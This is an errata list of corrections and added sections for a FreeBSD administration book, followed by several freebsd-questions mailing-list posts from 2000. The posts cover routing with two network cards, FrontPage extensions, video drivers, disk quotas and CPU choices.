The  FreeBSD  installation  gives root a C shell, csh.  This is the traditional
Berkeley shell, but it has a number of disadvantages: command line  editing  is
very primitive, and the script language is significantly different from that of
the Bourne shell, which is the de facto standard for shell scripts: if you stay
with  the  C  shell,  you  may  still need to understand the Bourne shell.  The
latest version of the Bourne shell sh also includes some command line  editing.
See page 148 for details of how to enable it.

You  can  get  better  command line editing with tcsh, in the Ports Collection.
You can get both better command line editing and Bourne shell syntax with bash,
also in the Ports Collection.

If  you  have root access, you can use vipw to change your shell, but there's a
more general way: use chsh (Change Shell).  Simply run the program.  It  starts
your  favourite editor (as defined by the EDITOR environment variable).  Here's
an example before:

#Changing user database information for velte.
Shell: /bin/csh
Full Name: Jack Velte
Location:
Office Phone:
Home Phone:

You can change anything after the colons.  For example, you might  change  this
to:

#Changing user database information for velte.
Shell: /usr/local/bin/bash
Full Name: Jack Velte
Location: On the road
Office Phone: +1-408-555-1999
Home Phone:

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chsh  checks and updates the password files when you save the modifications and
exit the editor.  The next time you log in, you get the new shell.  chsh  tries
to  ensure you don't make any mistakes--for example, it won't let you enter the
name of a shell which isn't mentioned in the file /etc/shells--but it's a  very
good  idea  to  check  the shell before logging out.  You can try this with su,
which you normally use to become super user:

bumble# su velte
Password:
su-2.00$                 note the new prompt

There are a couple of problems in using tcsh or bash as a root shell:

o The shell for root must be on the root file system,  otherwise  it  will  not
  work  in single user mode.  Unfortunately, most ports of shells put the shell
  in the directory /usr/local/bin, which is  almost  never  on  the  root  file
  system.

o Most  shells  are  dynamically linked: they rely on library routines in files
  such as /usr/lib/libc.a.  These files are not available in single user  mode,
  so  the shells won't work.  You can solve this problem by creating statically
  linked versions of the shell, but this requires programming experience beyond
  the scope of this book.

If you can get hold of a statically linked version, perform the following steps
to install it:

o Copy the shell to /bin, for example:

  # cp /usr/local/bin/bash /bin

o Add the name of the shell to /etc/shells,  in this example the line  in  bold
  print:

  # List of acceptable shells for chpass(1).
  # Ftpd will not allow users to connect who are not using
  # one of these shells.
  /bin/sh
  /bin/csh
  /bin/bash


You can then change the shell for root as described above.


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Thanks  to  Lars Koller  <Lars.Koeller@Uni-Bielefeld.DE> for drawing this to my
attention.

Page 160
________

Replace the text at the fourth bullet with the augmented text:

The second-level boot locates the kernel, by default the file  /kernel  on  the
root file system, and loads it into memory.  It prints the Boot: prompt at this
point so that you can influence this choice--see the man page on page  579  for
more details of what you can enter at this prompt.

Page 169
________

Replace the last paragraph on the page with:

The standard solution for these problems is to relocate the /tmp file system to
a different directory, say /usr/tmp, and create a symbolic link  from  /usr/tmp
to /tmp--see Chapter 4, Installing FreeBSD, page 72, for more details.

Thanks to Charlie Sorsby <crs@hgo.net> for drawing this to my attention.

Page 176
________

Add the following paragraph

Unmounting file systems

When you mount a file system, the system assumes it is going to stay there, and
in the interests of efficiency it delays writing data back to the file  system.
This  is the same effect we discussed on page 158.  As a result, if you want to
stop using a file system, you need to tell the system about it.   You  do  this
with  the umount command.  Note the spelling--there's no n in the command name.

You need to do this even with read-only  media  such  as  CD-ROMs:  the  system
assumes  it  can  access the data from a mounted file system, and it gets quite
unhappy if it can't.  Where possible, it locks  removable  media  so  that  you
can't remove them from the device until you unmount them.

Using  umount  is  straightforward:  just  tell  it what to unmount, either the
device name or the directory name.  For  example,  to  unmount  the  CD-ROM  we

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mounted in the example above, you could enter one of these commands:

# umount /dev/cd1a
# umount /cd1

Before  unmounting  a  file  system, umount checks that nobody is using it.  If
somebody is using it, it will refuse to unmount it with a message like  umount:
/cd1:  Device  busy.   This  message often occurs because you have changed your
directory to a directory on the file system you want to  remove.   For  example
(which also shows the usefulness of having directory names in the prompt):

=== root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1
umount: /cd1: Device busy
=== root@freebie (/dev/ttyp2) /cd1 17 -> cd
=== root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1
=== root@freebie (/dev/ttyp2) ~ 19 ->

Thanks to Ken Deboy <glockr@locked_and_loaded.reno.nv.us> for pointing out this
omission.

Page 180
________

The example in the middle of the page should read:

For example, to generate a second set of 32 pseudo-terminals, enter:

# cd /dev
# ./MAKEDEV pty1

You can generate up to 256 pseudo-terminals.   They  are  named  ttyp0  through
ttypv,  ttyq0  through  ttyqv,  ttyr0 through ttyrv, ttys0 through ttysv, ttyP0
through ttyPv, ttyQ0 through ttyQv,  ttyR0  through  ttyRv  and  ttyS0  through
ttySv.   To  create  each  set  of 32 terminals, use the number of the set: the
first set is pty0, and the eighth set is pty7.  Note that some processes,  such
as xterm, only look at ttyp0 through ttysv.

Thanks to Karl Wagner <karl@softronex.dynip.com> for pointing out this error.


Page 197, first line
____________________

The text of the first full sentence reads:

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The first name, up the the  symbol, is the label.

In fact, it should read:

The first name, up to the | symbol, is the label.


Page 208, middle of page
________________________

The  example  shows  the  file  name /dev/rst0 when using the Bourne shell, and
/dev/nrst0  when  using  C  shell  and  friends.   This  is  inconsistent;  use
/dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you
want a rewinding tape.

Thanks to Norman C Rice <nrice@emu.sourcee.com> for pointing out this one.

Page 219
________

Before the section Testing the spooler add the following section:

As we saw above, the line  printer  daemon  lpd  is  responsible  for  printing
spooled  jobs.   By default it isn't started at boot time.  If you're root, you
can start it by name:

# lpd

Normally, however, you will want it to be started automatically when the system
starts up.  You do this by setting the variable lpd_enable in /etc/rc.conf:

lpd_enable="YES"              # Run the line printer daemon

See page  for more details of /etc/rc.conf.

Another line in /etc/rc.conf refers to the line printer daemon:

lpd_flags=""        # Flags to lpd (if enabled).

You  don't  normally  need  to  change this line.  See the man page for lpd for
details of the flags.

Thanks to Tommy  G.  James  <tgj@worldnet.att.net>  for  bringing  this  to  my
attention.

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Page 231
________

Replace the first line of the example with:

xhost presto bumble gw

The original version allowed anybody on the Internet to access your system.

Thanks  to  Jerry  Dunham  <dunham@dunham.org>  for  drawing  this  one  to  my
attention.


Page 237
________

In the section Installing the sample desktop, replace the first paragraph with:

You'll  find  all  the  files  described  in  this  chapter on the first CD-ROM
(Installation CD-ROM) in the directory /book.  Remember that you must mount the
CD-ROM  before you can access the files--see page 175 for further details.  The
individual scripts are in the directory /book/scripts, but you'll probably find
it easier to install them with the script install-desktop:

Thanks to Chris Kaiser <kaiserc@fltg.net> for drawing this to my attention.

Page 242
________

The  instructions  for extracting the source files from CD-ROM in the middle of
page 242 are incorrect.  You'll find the kernel sources on the first CD-ROM  in
the directory /src.  Replace the example with:

# mkdir -p /usr/src/sys
# ln -s /usr/src/sys /sys
# cd /
# cat /cdrom/src/ssys.[a-d]* | tar xzvf -

Thanks    to    Raymond    Noel   <raynoel@videotron.ca>,   Suttipan   Limanond
<b0l6604@unix.tamu.edu> and Satwant <wizkid11@xnet.com> for finding this one in
several small slices.




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Page 257
________

Replace the paragraph Berkeley Packet Filter with:


pseudo-device bpfilter
______________________

The  Berkeley  Packet  Filter  (bpf)  allows  you to capture packets crossing a
network interface to disk or to examine them with the  tcpdump  program.   Note
that  this  capability represents a significant compromise of network security.
The number after bpfilter is the number of concurrent processes  that  can  use
the facility.  Not all network interfaces support bpf.

In  order  to  use  the Berkeley Packet Filter, you must also create the device
nodes /dev/bpf0 to /dev/bpf3 (if you're using the default number 4).   Current-
ly, MAKEDEV doesn't help much--you need to create each device separately:

# cd /dev
# ./MAKEDEV bpf0
# ./MAKEDEV bpf1
# ./MAKEDEV bpf2
# ./MAKEDEV bpf3

Thanks  to  Christopher  Raven  <c.raven@ukonline.co.uk> for drawing this to my
attention.

Page 264
________

In the list of disk driver flags, add:

o Bit 12 (0x1000) enables LBA (logical block addressing mode).  If this bit  is
  not set, the driver accesses the disk in CHS (cylinder/head/sector) mode.

o In  CHS  mode, if bits 11 to 8 are not equal to 0, they specify the number of
  heads to assume (between 1 and 15).  The driver recalculates  the  number  of
  cylinders to make up the total size of the disk.






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Page 273, ``Building the kernel''
_________________________________

Replace the example with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention.

Page 283, ``Creating the source tree''
______________________________________

Add a third point to what you need to know:

3. Possibly, the date of the last update that you want to be  included  in  the
  checkout.   If  you  specify  this date, cvs ignores any more recent updates.
  This option is often useful when somebody discovers a recently introduced bug
  in  -CURRENT:  you  check  out  the  modules  as they were before the bug was
  introduced.  You specify the date with the -D  option,  for  example  -D  "10
  December 1997".


Page 285, after the second example.
___________________________________

Add the text:

If  you  need  to check out an older version, for example if there are problems
with the most recent version of -CURRENT, you could enter:

# cvs co  -D "10 December 1997" src/sys

This command checks out the kernel sources as of 10 December 1997.





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Page 294
________

Add the following section:

Problems executing Linux binaries
_________________________________

One of the problems with the ELF format used by more recent Linux  binaries  is
that  they  usually  contain no information to identify them as Linux binaries.
They might equally well be BSD/OS or UnixWare binaries.  That's  not  really  a
problem  at  this point, since the only ELF format that FreeBSD 3.2 understands
is Linux, but FreeBSD-CURRENT recognizes a native FreeBSD ELF format  as  well,
and  of  course  that's  the default.  If you want to run a Linux ELF binary on
such a system, you must brand the executable using the program  brandelf.   For
example, to brand the StarOffice program swriter3, you would enter:

# brandelf -t linux /usr/local/StarOffice-3.1/linux-x86/bin/swriter3

Thanks to Dan Busarow <dan@dpcsys.com> for bringing this to my attention.

Page 364, middle of page
________________________

Change the text from:

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though they may  be  in  lower
case.

to

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though newer versions  of  ppp
allow you to write them in lower case.

Thanks to Mark S. Reichman <mark@fang.cs.sunyit.edu> for this correction.

Page 368
________

Replace the paragraph after the second example with:

In  FreeBSD  version  3.0  and  later,  specify  the  options  PPP_BSDCOMP  and

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PPP_DEFLATE to enable two kinds of compression.  You'll also  need  to  specify
the corresponding option in Kernel PPP's configuration file.  These options are
not available in FreeBSD version 2.

Thanks to Brian Somers <brian@Awfulhak.org> for this information.

Page 397
________

In the section ``Nicknames'', the example should read:

www       IN   CNAME          freebie
ftp       IN   CNAME          presto

In other words, there should be a space between CNAME and the system name.

Page 422
________

Replace the text above the example with:

tcpdump is a program which monitors a network interface and  displays  selected
information which passes through it.  It uses the Berkeley Packet Filter (bpf),
an optional component of the kernel.  It is not included in the GENERIC kernel:
see page 257 for information on how to configure it.

If you don't configure the Berkeley Packet Filter, you will get a message like

tcpdump: /dev/bpf0:  device not configured

If you forget to create the devices for bpf, you will get a message like:

tcpdump: /dev/bpf0: No such file or directory

Since  tcpdump poses a potential security problem, you must be root in order to
run it.  The simplest way to run it is without any parameters.  This will cause
tcpdump  to  monitor  and  display  all  traffic  on  the  first active network
interface, normally Ethernet:

Thanks to Christopher Raven <c.raven@ukonline.co.uk> for  drawing  this  to  my
attention.




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Page 423
________

The  description  at  the  top of the page incorrectly uses the term IP address
instead  of  Ethernet  address.   In  addition,  a  page  number  reference  is
incorrect.  Replace the paragraph with:

o Line  1  shows  an  ARP  request:  system  presto is looking for the Ethernet
  address of wait.  It would appear that  wait  is  currently  not  responding,
  since there is no reply.

o Line 2 is not an IP message at all.  tcpdump shows the Ethernet addresses and
  the beginning of the packet.  We don't consider this kind of request in  this
  book.

o Line 3 is a broadcast ntp message.  We looked at ntp on page 160.

o Line 4 is another attempt by presto to find the IP address of wait.

o Line  5  is  a  broadcast  message  from  bumble  on  the  rwho  port, giving
  information about its current load averages and how long it has been up.  See
  the man page for rwho on page 1167 for more information.

o Line 6 is from a TCP connection between port 6000 on freebie and port 1089 on
  presto.  It is sending 384 bytes (with  the  sequence  numbers  536925467  to
  536925851; see page 305), and is acknowledging that the last byte it received
  from presto had the sequence number 325114346.  The window size is 17280.

o Line 7 is another ARP request.  presto is looking for the Ethernet address of
  freebie.   How  can  that  happen?   We've  just  seen  that  they have a TCP
  connection.  In fact, ARP information expires after 20 minutes.   It's  quite
  possible  that  all  connections between presto and freebie have been dormant
  for this period, so presto needs to find freebie's IP address again.

o Line 8 is the ARP reply from freebie to presto giving its Ethernet address.

o Line 9 shows a reply from presto on the connection to freebie that we saw  on
  line  6.   It  acknowledges  the  data  up  to sequence number 536925851, but
  doesn't send any itself.

o Line 10 shows  another  448  bytes  of  data  from  freebie  to  presto,  and
  acknowledging the same sequence number from presto as in line 6.

Thanks to Sergei S. Laskavy <laskavy@hedgehog.cs.msu.su> for drawing this to my

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attention.

Page 450: anonymous ftp
_______________________

Replace the paragraph starting with Create a user ftp:

Create a user ftp, with the anonymous ftp directory as the home  directory  and
the  shell  /dev/null.  Using /dev/null as the shell makes it impossible to log
in as user ftp, but does not interfere with the use of anonymous ftp.  ftp  can
be a member of group bin, or you can create a new group ftp by adding the group
to /etc/group.  See page 138 for more details of adding users, and the man page
on page 805 for adding groups.

Thanks to Mark S. Reichman <mark@borg.com> for drawing this to my attention.

Page 466, before the ps example
_______________________________

Add another bullet:

o Finally,  you may find it convenient to let some other system handle all your
  mail delivery for you: you just send anything you can't  deliver  locally  to
  this  other  host,  which  sendmail calls a smart host.  This is particularly
  convenient if you send your mail with UUCP.

  To tell sendmail to use a smart host (in our  case,  mail.example.net),  find
  the following line in sendmail.cf:

  # "Smart" relay host (may be null)
  DS

  Change it to:

  # "Smart" relay host (may be null)
  DSmail.example.net


Page 478, ``Running Apache''
____________________________

The  text  describes the location of the server as /usr/local/www/server/httpd.
This appears to depend on where you get the port from.  Some people report  the
file  being  at the more likely location /usr/local/sbin/httpd (though note the

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directory sbin, not bin).  Check  both  locations  if  you  run  into  trouble.
Thanks to Sue Blake <sue@welearn.com.au> for this information.

Page 492
________

Replace references to nmdb with nmbd.

Page 493
________

Replace the last paragraph on the page with:

socket  options  is  hardly  mentioned  in  the  documentation,  but  it's very
important:  many  Microsoft  implementations  of  TCP/IP  are  inefficient  and
establish  a  new  TCP  more  often  than necessary.  Select the socket options
TCP_NODELAY and IPTOS_LOWDELAY, which can speed up the response  time  of  such
applications by over 95%.



























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Hi all,

Where can I find out some specific config info on the following:

To set up a machine with 2 NICs connected to 2 seperate network default
routers. I do not want to route one to the other, I just want to serve
webpages to two different networks. How do I set a second route for the
additional card and the aliases that I will assign to that card. 

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From: "John Heyer" <john@snake.supranet.net>
> I'm trying to run FP2000 Extensions on a new 4.1.1 server.  I installed
> apache-fp from packages, followed the instructions, and created a test
> root web.  When I went to publish, it told me FP extentions weren't
> installed.  I fixed this with
>
> ScriptAlias /_vti_bin/ "/usr/local/frontpage/version4.0/exes/_vti_bin/"
>
You don't need this with the apache-fp port, as mod_frontpage takes care of
rewriting the request to use the FP Exts in
/usr/local/frontpage/version4.0/.

I added this into my working apache13-fp server and it had no effect on the
operation of the FP exts on the server.

> So then I was able to publish; the problem was it never prompted me for a
> username and password.  I'm assuming that this somehow caused the
> .htaccess files to be ignored, which is a mystery since I have
>
> <Directory "/www/docs">
> Options Indexes FollowSymLinks MultiViews IncludesNOEXEC
> AllowOverride AuthConfig Limit Indexes Options
> Order allow,deny
> Allow from all
> </Directory>
>

At first I thought it was the "Options" that were set causing the problem,
but I put your "Options" in to my httpd.conf and restarted the server, and I
had no problem connecting to the Apache server with Frontpage.

I even changed my user webs to use:

    Options Indexes IncludesNOEXEC
    AllowOverride AuthConfig Limit Indexes Options

And they had no problem either (was "Options ExecCGI").

> Note the interesting part is if I publish to
www.testsite.com/~unixusername
> it *does* prompt for authentication, then tells me parsing isn't working
> once I authenticate.
>

> Does anybody know how to fix this?  I noticed several post in the archives
> describing the exact same problem, but never saw a definative solution.
>

Make sure your servertype is "apache-fp" in we80.cnf:
    vti_encoding:SR|utf8-nl
    frontpageroot:/usr/local/frontpage/version4.0
    authoring:enabled
    servertype:apache-fp
    serverconfig:/usr/local/etc/apache/httpd.conf

Are there _vti* directories in your document root?

What errors do you get in your httpd-error.log (without your ScriptAlias
change), when you connect with Frontpage?

You may want to try modifying httpd.conf-dist (ie replace document root and
userdir with your settings) and see if that will work.

Scot



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From owner-freebsd-questions  Fri Nov  3 19:46:56 2000
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> > Hi everyone who will read this mail. My question is how can I design
> > the = /etc/motd file or is there some programs that will help to
> > design it?
>
> Yes.  Any plain good old text-editor will do just fine.
>
> Use your favorite text editor to edit the file.  Any editor is fine,
> as long as it can output to an ASCII file :-)

If you have kernfs(5) mounted, `head -1 /kern/version` is something you
might want to have in your /etc/motd. But it's up to you, really. :)


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Colleagues.

Did you ever notice that disk quotas are from time to time
spontaneously off on a 4.1-RELEASE.

The problem manifests itself as follows. Sometimes I notice that disk
quotas are suddenly off and a user can write to disk without limit. Running

checkquota -a -v
quotaon -a -v

helps for a time, i.e. the quotas are fixed and the limit is enforced
again. I cannot reproduce this because I do not know the reason. I
just know it happens.

Any ideas? Did anything change in the quota code in 4.x?

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Hi,

I wanted to install either Linux or FreeBSD on my PC. Since I've been Linux
user for a long time I want to try new OS - FreeBSD. However I've heard from
my friend that he had problems with video card on i810. I've checked XFree
web site and they say that 'The "i810" driver is currently Linux-only'. So
the question is if i810 is supported on FreeBSD now. I really want to try
FreeBSD but if i810 is not supported in it I will have to install Linux.

-- 
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From owner-freebsd-questions  Fri Nov  3 20:34:12 2000
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To start off, I just want to appoligize if this is not the correct board
for this question.  My question is: Is there a web resource for
configuring a FreeBSD firewall machine to forward vhost ports to different
machines?  (I.E. ipaddy1:80 ==> internal_web1, ipaddy2:80 ==>
internal_web2, where ipaddy? are external vhosts on the FreeBSD Firewall).
I know there is a socket port, but that shows connections from the
firewall machine on the internal servers.  Is there something like linux's
ipmasqadmin portfw for freebsd?

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Ilya,

I've run XFree86 4.0.1 on my i810 machine without any problems.  Here's the
section from my XF86Config file:

Section "Device"
    Identifier  "Intel i810"
    Driver      "i810"
    Option      "SWCursor"
    Option      "NoAccel"
EndSection

Good Luck,
- -Tim

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>
>
> Hi,
>
> I wanted to install either Linux or FreeBSD on my PC. Since I've
> been Linux
> user for a long time I want to try new OS - FreeBSD. However I've
> heard from
> my friend that he had problems with video card on i810. I've checked XFree
> web site and they say that 'The "i810" driver is currently Linux-only'. So
> the question is if i810 is supported on FreeBSD now. I really want to try
> FreeBSD but if i810 is not supported in it I will have to install Linux.
>
> --
> Ilya Martynov
> AGAVA Software Company, http://www.agava.com
>
>
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MKShannon wrote:
> Hi all,
>
> Where can I find out some specific config info on the following:
>
> To set up a machine with 2 NICs connected to 2 seperate network
> default routers. I do not want to route one to the other, I just want
> to serve webpages to two different networks. How do I set a second
> route for the additional card and the aliases that I will assign to
> that card.
>
See my response to another question from earlier today (copied below),  
it applies to this situation as well.

Gerd

Simon Nielsen wrote:
> Hello
>
> I currently have two internet connections though two different ISP's.
> One is a ADSL and another is shared with the rest of my dorm. The
> shared line is rather slow because many people are using it.
>
> I must have an IP on the shared connection since that's the only
> place where I can be sure to have a non changing IP for my DNS. But
> the ADSL is much faster so I would like to use that as much as
> possible.
>
> I can give my machine an IP on each connection but I can of course
> only set one default route. The default route is currently set to the
> ADSL. The problem is that when a connection is made to IP on the
> shared connection my computer uses the ADSL IP to respond and that
> does not work.
>
> Is there a solution to this? I thought about maybe it is possible to
> route differently when a connection is made on the shared connection
> but I can't find out how to do it.
>
Yes, it can be done (though I have not found it documented anywhere).  
I really think there should be separate routing tables for each  
interface, but I don't know of any such feature in any Unix.

However ipfw can be abused for the above task. Assuming:

	- ipfw is set to pass on default
	- your ADSL IP/network is a.a.a.a/aa
	- your shared IP/network is s.s.s.s/ss
	- your ADSL gateway is set as default route
	- your shared gateway is s.s.s.gw
	
the following ipfw rules do the trick:

# Pass anything that should go via normal routes
# This rule is really just to speed up the bulk
# of the packets
add 1000 allow all from a.a.a.a to any
# Pass anything to local addresses on ADSL network
add 1010 allow all from any to a.a.a.a/aa
# Pass anything to local addesses on shared network
add 1020 allow all from any to s.s.s.s/ss
# And here the trick: if the source address is the one
# from the shared network, pass packets to the
# gateway on the shared network
add 1030 fwd s.s.s.gw all from s.s.s.s to any
	
With the above connections will leave your system on the same route  
they entered it. Great for redundant mail and dns setup!

If you already use ipfw you need to adapt the above rules accordingly.  
The important part is that packets coming from your host's shared  
address going to the 'outside' (and only those packets) are forwarded  
to the shared networks gateway.

Gerd


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Hi all,

I'm putting together a machine for a friend from old parts.
I've rounded up several ISA sound cards.  By chance would anyone happen to
know what the differences are in their capabilities, and how to rank them
from "best" to "worst"?

1. Media Vison / Jazz 16 LMS
   (JAZZ16 MVD1216B / NCR DIGBIE2 LMS / Spectrum MVA416 / MVA514 based)
2. Diamond Pro16
   (Yamaha OPL YMF262-M / Crystal CS4248 / OPTi 82C929A based)
3. Creative CT2230 Sound Blaster 16
   (CT1747 OPL / CT1745A / CT1703-T / CT1741 based)
4. Creative CT2940 Sound Blaster 16(C16F PnP)
   (CT1978-TAP / CT2502-SDQ based)

Also 

5. Creative CT2760 Sound Blaster AWE32 (full-length w/ 2 30-pin SIMM sockets)
   (CT1971 / CT1741 / CT1745A / CT1748A / CT1701-T / CT1747 based)
Although I'm sure I can fit this full-size card into the machine.
   
thanks!
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"N. D. Gangadhar" wrote:
> 
> Hello!
> 
> [Sorry for the long mail. Since it is a repeat question, and one for which
> I see no soln. on the list, I put together quite a bit of infomation.]
> 
> I have the same problem as was discussed in
> 
> date: Sun, 03 Sep 2000 17:59:34 +0900 (JST)
> from: Marty Cawthon <mrc@ChipChat.ne.jp>
> subject: "Re: SSH fails for user, but succeeds for root"
> message-id:  <20000903175934R.mrc@ChipChat.ne.jp>
> 
> on this list. The differece I see is that I have 4.1.1-RELEASE installed;
> so /usr/lib/libssl.a as well as /usr/lib/libcrypto.a have RSA in them (and,
> of course, no /usr/lib/librsa*). Both have 444 permissions. Still only
> root can use ssh.

	Here's a silly question. Are you sure that root and your unpriv'ed user
are accessing the same ssh binaries?  I see you're using csh, try
'whereis ssh; echo $PATH' in both shells. If that doesn't show anything
interesting, try exec'ing sh and type, 'type ssh' both places. 

Doug
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On Fri, Nov 03, 2000 at 02:36:37PM -0600, Steve Price wrote:
> On Wed, Nov 01, 2000 at 11:47:20PM -0800, Crist J . Clark wrote:
> 
> # > Basically what I'm trying to do is setup a non-interactive
> # > script that edits my crontab.  When I type the following
> # > commands in it comments out the first entry.  However, when
> # > I run it by redirecting stdin from a file it doesn't work.
> # > >From the looks of it (note the 37 -> 38 change) the file
> # > is being updated but crontab is ignoring the change.
> # 
> # Don't ask me why, but try this,
> # 
> #   $ { echo '1s/^/#/'; echo w; } | env VISUAL=/bin/ed crontab -e
> # 
> # And see what happens. (Just lost the 'q.')
> 
> I've tried this on several different boxes and it didn't
> work.  Does this work on your box?

Uhhh... It _did,_ but now it is not. Not sure what the heck is going
on. I will see if I have time to play with it tomorrow.
-- 
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I've installed 4.1.1-R on my P133 box (64Mb ram, 4GB hd, vortex nic,
static ip) and tried to do an upgrade to stable.  For the second time it
bombs at

=3D=3D> etc
=3D=3D> etc/sendmail

hamm sendmail [65708]: gethostbyaddr (10.x.x.x) failed: 1


That's the error I keep getting.  My tag=3DRELENG_4 release=3Dcvs and =
I'm
src-all.  This is the second box I'm having problems upgrading to
stable.  My other box which is a better config one (PIII 500, 128Mb ram,
8GB hd, but dial-up only) bombs also at upgrading to stable.  The same
supfile but the error I'm getting is

ata0-master: timeout:  the device have disappeared!


I switch the controller thinking it could be the controller but I get
the same error only it changed from ata0 to ata1.  Hard disk?  I doubt
it.

So I was wondering if I'm the only one having problems upgrading to
stable or is this a problem with the cvs?



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Sorry for the repost.  Forgot the subject line.



I've installed 4.1.1-R on my P133 box (64Mb ram, 4GB hd, vortex nic,
static ip) and tried to do an upgrade to stable.  For the second time it
bombs at

=3D=3D> etc
=3D=3D> etc/sendmail

hamm sendmail [65708]: gethostbyaddr (10.x.x.x) failed: 1


That's the error I keep getting.  My tag=3DRELENG_4 release=3Dcvs and =
I'm
src-all.  This is the second box I'm having problems upgrading to
stable.  My other box which is a better config one (PIII 500, 128Mb ram,
8GB hd, but dial-up only) bombs also at upgrading to stable.  The same
supfile but the error I'm getting is

ata0-master: timeout:  the device have disappeared!


I switch the controller thinking it could be the controller but I get
the same error only it changed from ata0 to ata1.  Hard disk?  I doubt
it.

So I was wondering if I'm the only one having problems upgrading to
stable or is this a problem with the cvs?


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I see no mention of this card in the 4.11 release notes list of supported 
hardware : http://www.freebsd.org/releases/4.1.1R/notes.html

www.paradisepc.com currently lists isa 3com 3c509 at 14.50 USD


On Friday 03 November 2000 05:25, James Stephenson wrote:
> I found the dipswitch and jumper diagrams for my network card, finally,
> from ftp.microdyne.com.  I am able to set it to whatever I need.  However,
> I do not know which driver to use in the kernel config before install. 
> Again, I have a Gateway Communications, Inc. ISA G/Ethertwist PC card with
> UTP and AUI (model 82200023-03).  I am not sure if this is NE2000
> compatible or not.  I have attempted, several times, to load the kernel
> with the NE2000 driver supplied, but after it checks my ppbus (which is at
> the time it would detect my network card), it hangs.  Does this mean I am
> using the correct driver, and that I need to change address and irq
> settings to coincide with the system (I am making sure there are no
> conflicts...), or does this mean that I have the wrong driver?  I use other
> drivers and they do not detect it and just go straight into the install.
>
> I am quickly getting frustrated with this, and would like any and all help
> that I could get, please.  If anyone has had a similar problem, please let
> me know what you did to resolve it (if possible).
>
> Thanks.
> James
>
> James Stephenson wrote:
> > The card has an AT&T T 7220 PC chip on it.  Basically what I'm asking for
> > is the driver I need to use and what IRQ and address settings I need to
> > use with it, as I am exhausted just guessing by trial and error.
> >
> > I have checked many search engines, but have not found this specific card
> > just yet.
> >
> > Thanks.
> > James
> >
> > Siegbert Baude wrote:
> > > Hi James,
> > >
> > > > The card is an ISA Gateway Communications, Inc.  G/Ethertwist
> > > > PC with AUI, UTP, and BNC (jumpers set to UTP operation).
> > >
> > > The relevant part of the card is the chipset it uses. So have a look
> > > and tell us the name you will find on it.
> > >
> > > Also you can feed some search engine with the name of your card, to
> > > look, if you will find some description of the jumpers. With ISA you
> > > have to avoid both IRQ and address conflicts, so this is really
> > > important to setup correctly.
> > >
> > > Ciao
> > > Siegbert
>
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Compaq 1850 Thunderlan ProblemsNothing from Compaq is standard.

Paul Smith
  I have reproduced this problems with multiple versions of FreeBSD
(2.x,3.x,4.x).  My assumption is that Compaq has implemented the TI
Thunderlan chipset in a "nonstandard" way and thereby broken the driver.

  Has anyone else seen/solved this problem?  Any help/suggestions would be
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I attribute many of the shortcomings of the x86 family to its backward
compatibility with the Intel 4044. It has eight registers, compared with 64
on the Alpha. The architecture is in many ways much simpler on the Alpha.

Apples and oranges is a poor analogy for 32 bit versus 64 bit.  Nobody
prefers 32 bit unless it is cheaper. The Alpha is a relatively cheap
processor to manufacture. The Itanium never will be. Porting software to 64
bit can be painful, but 32 bit software can run on 64 bit hardware. The
Ultrasparc and the HP are 64 bit and much new software development is on a
64 bit platform even if it will later be ported to a 32 bit platform.

Despite its high performance, modest cost, and elegant architecture, the
Alpha has never sold well. Microway is alone marketing the low-end Alphas,
while Compaq now offers only high-end workstations and servers with the
Alpha processor.

FreeBSD Alpha does not have the maturity of FreeBSD Intel, but it is making
great progress because of a few enthusiasts who recognize its great
potential.

Meanwhile the Itanium, if it ever becomes reality, is an answer in search of
a question.

Paul Smith

> -----Original Message-----
> From: Jeremiah Gowdy [mailto:jgowdy@home.com]
> Sent: Friday, 03 November, 2000 12:55 PM
> To: Heredity Choice; Allen Landsidel; Nick Slager; jadream
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: FBSD & Itanium?
>
>
> > Yes, an Athlon 600 is cheaper than an Alpha 21164 533 MHz, and
> about half
> as
> > fast.
> >
> > I am afraid there is a little more to porting an OS than having gcc for
> the
> > processor, especially as FreeBSD is not optimized for
> portability. FreeBSD
> > will be ported to the Itanium if people want to make the considerable
> > effort. So far the Itanium has been all promises and no substance.
>
> Why are we comparing 64bit CPUs to 32bit CPUs ?  Apples to Oranges if you
> ask me.  I say, wait for the tainted smell of vaporware to disappear, and
> see who comes out ahead on the Itainium vs Sledgehammer front.  I believe
> for FreeBSD users, Sledgehammer would be the CPU of choice, as AMD claims
> that in 32bit mode, it would still be the fastest 32bit x86 processor ever
> released, even if you ignore the 64bit mode altogether.  So since
> FreeBSD is
> situated in the x86 architecture quite well, seems like AMD would be the
> only option in this next generation of the Intel/AMD offerings.  The Intel
> Itainium's core is truly emulating x86 (I know all of today's cpus emulate
> CISC with RISC, however, Itainium's focus isn't x86), the Itainium will
> certainly perform slower per clock than a Coppermine.  Willamette performs
> slower per clock than Coppermine.  So if we say, ok FreeBSD is x86
> optimized, what is the x86 cpu market looking like in the next few years,
> one has to conclude that the newer AMD offerings, especially the
> Hammer, are
> the cpus of choice for FreeBSD x86 systems.  As for Alpha, I've never used
> FreeBSD/Alpha, however, I know Alphas are absolutely awesome.  My question
> is, is our Alpha support awesome ?  And are people willing to go Alpha ?
> I'm not saying anything against Alpha, I'm just putting forth my opinion
> that once it comes out, FreeBSD x86/Hammer combo will be the best
> option for
> FreeBSD x86 users.
>
> Linux will probably come out with both an Itainium and Hammer version.  I
> believe both such projects are underway.  But will they be hack
> jobs or the
> real thing ?  FreeBSD x86-64 makes sense, it's just another
> extention of the
> architecture.  Ax8664_CPU  :)
>
>     I have great doubts about willamette and it's design which
> performs less
> per clock than the Coppermine, but allows higher clock speeds.
> Remember the
> 486 DX4 ?  Then comes the Pentium and all those empty mhz the DX4s were
> hitting were stomped by a greater design.  Seems to me the idea shouldn't
> just be how many gigahertz you can kick, but the design of the
> core.  If you
> could make a 386 that clocked to 3 ghz, I would rather have a Thunderbird
> that ran at 1 ghz.
>
> My theory is this, if Hammer running in 32bit mode is far far faster than
> Thunderbird, and Thunderbird is just a little bit faster per clock than
> Coppermine, and Coppermine is faster per clock than Willamette, the winner
